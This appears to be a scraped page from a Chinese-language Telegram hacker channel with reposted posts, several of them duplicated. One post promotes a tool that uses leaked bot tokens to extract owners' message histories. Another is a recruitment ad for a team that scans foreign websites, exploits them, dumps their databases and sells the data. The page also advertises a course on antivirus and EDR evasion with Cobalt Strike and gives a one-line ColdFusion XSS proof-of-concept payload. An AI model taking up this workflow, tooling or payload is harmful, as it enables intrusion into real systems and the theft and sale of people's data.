黑客自由城 优质内容共享
Open in Telegram
telegram最大的黑客交流社区 @Hacker_CityN （核心技术） @Hacker_CityM （核心发布） @DARKWEBEN （担保主群） @DARKWEB_EN2 （渗透推文） @hackerspike （资源交流） @spike_hacker （资源分享） @kaliLinux666 （收款存根） @Hacker_CityL （业务对接） 私有频道联系管理员付费加入
Show moreThe country is not specifiedTechnologies & Applications33 626
2 390
Subscribers
-124 hours
-17 days
+330 days
Posts Archive
2 390
Repost from Darknet Marauders Hacker Team
Telegram 具有与机器人合作的广泛功能。创建一个新的、获取用于管理的令牌并在 GitHub 上的现成脚本中使用它不需要任何成本。同样，来自机器人的代码也很容易泄露。有时会遇到使用 Telegram 功能作为控制面板的恶意软件 。
是什么阻止机器人通过泄露的令牌提取所有信息？当然，这是 Telegram API，它限制来自不同位置的机器人的多个连接。即使机器人无法工作或者其所有者忽略连接错误，我们仍然只能接收新的、之前未处理的消息。最后，机器人不知道它过去与谁进行过通信。
用于处理机器人的 HTTP API 只是原始 MTProto API 的一个附加组件，它允许像与用户帐户一样与它们交互。并且有现成的库可以使用该协议！这种方法的可能性增加了一个数量级。现在我们可以无形地连接到机器人所有者并提取消息历史记录。编写了一个简单的脚本，用于拖动信件、保存媒体内容、对话者的姓名和照片代码。
https://github.com/soxoj/telegram-bot-dumper
2 390
#广告
主打海外市场:
需求就是数据库！！！我有海外的黑客团队.但是客户也很多,订单忙不过来！！！
1.第一个月 4500保底+50% （第一个月大家都不熟悉,我只能保证一个月的时间,你最少可以拿到4500底薪.我也会在这一个月的时间看看是不是真有本事！没有能力的，能力不足的。我这边会清退。底薪照给.销售提成，当天结算）
没有任何要求,唯一的要求就是,你得干出成绩来！我们是合作关系,必须是保证独家合作.别搞一些其他的心思的。赚钱一起赚。不想跟我合作了，可以说,但是不要搞一些坏心思！！
2.提供服务器（看能力,你能足够强,我能给你提供的支持是无上限的，如果你能力一般,一个月工具服务器支持最多5000块钱.我是来找合作赚钱,不是说来亏钱的，前期亏钱没关系的，但是你
总的让我看到希望不是吗？甚至,我还可以掏钱让你们学习.但是我不想看到我花钱培养一个白眼狼出来的，前面我投资培养,转眼你跟别人干了！！！）
大量招人,提供学习,也是为了组建一个强大一点的团队,为了后面自己开发0day等相关业务发展！！！出售数据库是目前盈利最快的！
并且我们还有专业的人在各大论坛、暗网、0day网站找最新的漏洞.我会出钱购买,并且共享出来！（0day这种东西可遇不可求的,你们遇到有出售的0day确认靠谱的也可以联系我）
目标,我们会提供.服务器我们也会提供的。
我们工作的思路:
1.采集国外域名-查询行业/访问量/国家-Acunetix扫描-利用-脱裤-销售！！！下一个
介绍一个靠谱的,合作成功！！！！！888U红包！！！
！！！！！！！！我们所有的业务，全部针对海外！！！！！！！！
！！！！！！！！我们所有的业务，全部针对海外！！！！！！！！
！！！！！！！！我们所有的业务，全部针对海外！！！！！！！！
！！！！！！！！我们所有的业务，全部针对海外！！！！！！！！
联系方式 @getshell_web
2 390
Repost from Darknet Marauders Hacker Team
Telegram 具有与机器人合作的广泛功能。创建一个新的、获取用于管理的令牌并在 GitHub 上的现成脚本中使用它不需要任何成本。同样，来自机器人的代码也很容易泄露。有时会遇到使用 Telegram 功能作为控制面板的恶意软件 。
是什么阻止机器人通过泄露的令牌提取所有信息？当然，这是 Telegram API，它限制来自不同位置的机器人的多个连接。即使机器人无法工作或者其所有者忽略连接错误，我们仍然只能接收新的、之前未处理的消息。最后，机器人不知道它过去与谁进行过通信。
用于处理机器人的 HTTP API 只是原始 MTProto API 的一个附加组件，它允许像与用户帐户一样与它们交互。并且有现成的库可以使用该协议！这种方法的可能性增加了一个数量级。现在我们可以无形地连接到机器人所有者并提取消息历史记录。编写了一个简单的脚本，用于拖动信件、保存媒体内容、对话者的姓名和照片代码。
https://github.com/soxoj/telegram-bot-dumper
2 390
Repost from HUCForum
ℝ𝕖𝕕 𝕋𝕖𝕒𝕞 𝕆𝕡𝕤 𝕀𝕀 - 𝔻𝕖𝕗𝕖𝕟𝕔𝕖 𝔼𝕧𝕒𝕤𝕚𝕠𝕟 𝕋𝕒𝕔𝕥𝕚𝕔𝕤
本課程重點介紹更高級的 OPSEC 策略和繞過策略。
學生將學習如何使用公共雲重定向器和 HTTPS 構建安全且有彈性的本地 C2 基礎設施。
使用 Windows API 深入 C++ 和 C# 編程，從而為各種攻擊操作編寫自定義工具包，包括進程注入、PPID 欺騙和命令行欺騙。
了解如何清除 Beacon Cobalt Strike 指示器的內存，並使用內存混淆來繞過一些內存掃描技術。
應用策略來枚舉、識別和利用攻擊面減少和 Windows Defender 應用程序控制技術中的弱點。
通過繞過和 ETW、附加到用戶環境和內核回調來繞過防病毒和抗逆轉錄病毒代理。
2 390
#广告
主打海外市场:
需求就是数据库！！！我有海外的黑客团队.但是客户也很多,订单忙不过来！！！
1.第一个月 4500保底+50% （第一个月大家都不熟悉,我只能保证一个月的时间,你最少可以拿到4500底薪.我也会在这一个月的时间看看是不是真有本事！没有能力的，能力不足的。我这边会清退。底薪照给.销售提成，当天结算）
没有任何要求,唯一的要求就是,你得干出成绩来！我们是合作关系,必须是保证独家合作.别搞一些其他的心思的。赚钱一起赚。不想跟我合作了，可以说,但是不要搞一些坏心思！！
2.提供服务器（看能力,你能足够强,我能给你提供的支持是无上限的，如果你能力一般,一个月工具服务器支持最多5000块钱.我是来找合作赚钱,不是说来亏钱的，前期亏钱没关系的，但是你
总的让我看到希望不是吗？甚至,我还可以掏钱让你们学习.但是我不想看到我花钱培养一个白眼狼出来的，前面我投资培养,转眼你跟别人干了！！！）
大量招人,提供学习,也是为了组建一个强大一点的团队,为了后面自己开发0day等相关业务发展！！！出售数据库是目前盈利最快的！
并且我们还有专业的人在各大论坛、暗网、0day网站找最新的漏洞.我会出钱购买,并且共享出来！（0day这种东西可遇不可求的,你们遇到有出售的0day确认靠谱的也可以联系我）
目标,我们会提供.服务器我们也会提供的。
我们工作的思路:
1.采集国外域名-查询行业/访问量/国家-Acunetix扫描-利用-脱裤-销售！！！下一个
介绍一个靠谱的,合作成功！！！！！888U红包！！！
！！！！！！！！我们所有的业务，全部针对海外！！！！！！！！
！！！！！！！！我们所有的业务，全部针对海外！！！！！！！！
！！！！！！！！我们所有的业务，全部针对海外！！！！！！！！
！！！！！！！！我们所有的业务，全部针对海外！！！！！！！！
联系方式 @getshell_web
2 390
Repost from TG信息安全共享频道
ColdFusion XSS
POC:
{{host}}/CFIDE/debug/cf_debugFr.cfm?userPage=javascript:alert(document.domain)